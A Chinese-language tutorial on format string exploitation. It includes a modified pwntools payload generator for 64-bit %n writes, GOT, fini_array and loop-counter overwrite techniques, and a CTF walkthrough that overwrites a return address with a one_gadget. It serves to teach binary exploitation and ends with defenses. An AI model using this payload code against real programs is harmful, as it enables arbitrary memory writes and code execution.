格式化字符串总结
字数 1556 2025-08-24 20:49:31
格式化字符串漏洞利用全面指南
一、格式化字符串基础原理
格式化字符串漏洞是由于程序使用用户可控数据作为printf等函数的格式化参数导致的。攻击者可以利用这个漏洞实现:
- 内存读取(信息泄露)
- 内存写入(任意地址写)
- 程序流程控制
二、Payload生成机制
1. 32位与64位差异
- 32位系统:参数通过栈传递,地址可以直接放在格式化字符串前面
- 64位系统:前6个参数通过寄存器传递,地址中的NULL字节会导致截断问题,需要将地址放在payload后面
2. 改进的Payload生成代码
作者改进了pwntools的fmtstr_payload函数,使其支持64位系统:
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32: {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64: {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
fmtCount = 0
part = []
# 收集地址和值并排序
for where, what in writes.items():
for i in range(0, number * step, step):
current = what & mask
part.append((current, pack(where + i)))
what >>= decalage
part.sort(key=lambda tup: tup[0])
# 生成格式化字符串部分
size = [x[0] for x in part]
for i in range(0, number):
if numbwritten & mask <= size[i]:
to_add = size[i] - (numbwritten & mask)
else:
to_add = (size[i] | (mask + 1)) - (numbwritten & mask)
if to_add != 0:
payload += "%{}c".format(to_add)
payload += "%{}${}n".format(offset + fmtCount, formatz)
numbwritten += to_add
fmtCount += 1
# 地址对齐
align = 0x10 - (len(payload) & 0xf)
payload += align * 'a'
numbwritten += align
# 添加地址部分
addr = ''.join(x[1] for x in part)
payload += addr
return payload
3. 关键改进点
- 地址后置:将地址放在payload末尾避免64位的NULL截断问题
- 值排序:按写入值从小到大排序,确保正确写入
- 地址对齐:确保地址部分正确对齐
三、写入大小控制
代码支持三种写入粒度:
| 类型 | 32位配置 | 64位配置 |
|---|---|---|
| byte | (4, 1, 0xFF, 'hh', 8) | (8, 1, 0xFF, 'hh', 8) |
| short | (2, 2, 0xFFFF, 'h', 16) | (4, 2, 0xFFFF, 'h', 16) |
| int | (1, 4, 0xFFFFFFFF, '', 32) | (2, 4, 0xFFFFFFFF, '', 32) |
参数含义:(number, step, mask, format, decalage)
四、高级利用技巧
1. GOT表攻击
- 前提:RELRO保护未开启
- 方法:覆盖GOT表中的函数指针(如atoi)为system
- 优势:可以直接通过参数传递实现命令执行
2. fini_array攻击
- 原理:程序退出前会调用fini_array中的函数指针
- 利用:覆盖这些指针实现二次利用漏洞
3. 循环条件攻击
- 方法:覆盖循环条件变量(如全局变量N或i)
- 效果:增加漏洞利用次数
五、实战案例:360初赛-pwn1分析
1. 漏洞分析
- 漏洞函数:
printf(buff),buff在.bss段 - 限制条件:只能循环3次,每次输入长度受限
2. 利用步骤
-
信息泄露:
- 泄露栈地址和libc地址
- 计算关键位置:返回地址、循环变量i地址
-
绕过次数限制:
- 找到存储循环变量i的地址
- 通过格式化字符串修改i值为负数
-
控制流劫持:
- 定位返回地址位置
- 分两次写入one_gadget地址(先低16位,再高16位)
3. 关键payload构造
# 修改循环变量i
write(0xffff & count + 2, 0xffff)
# 写入one_gadget到返回地址
write(0xffff & ret, 0xffff & one_gadget)
write((0xffff & ret) + 2, (0xffff0000 & one_gadget) >> 16)
六、调试技巧
-
使用Pwngdb:
stack命令查看栈布局fmtarg命令计算格式化字符串偏移
-
偏移计算:
- 32位:参数从栈顶开始计算
- 64位:前6个参数在寄存器,之后在栈中
-
常见问题:
- 64位地址中的NULL字节问题
- 写入顺序导致的数值覆盖问题
- 栈对齐问题
七、防御措施
- 始终使用固定字符串作为格式化参数
- 开启RELRO保护防止GOT表修改
- 使用编译器的安全选项(如FORTIFY_SOURCE)
- 对用户输入进行严格过滤
八、总结
格式化字符串漏洞利用的核心在于:
- 理解参数传递机制(32位与64位差异)
- 掌握内存读写原理(%n格式化符)
- 灵活运用各种利用技巧(GOT覆盖、循环条件修改等)
- 熟练使用调试工具快速定位关键偏移
通过改进的payload生成工具和系统化的利用方法,可以高效地利用格式化字符串漏洞实现各种攻击目标。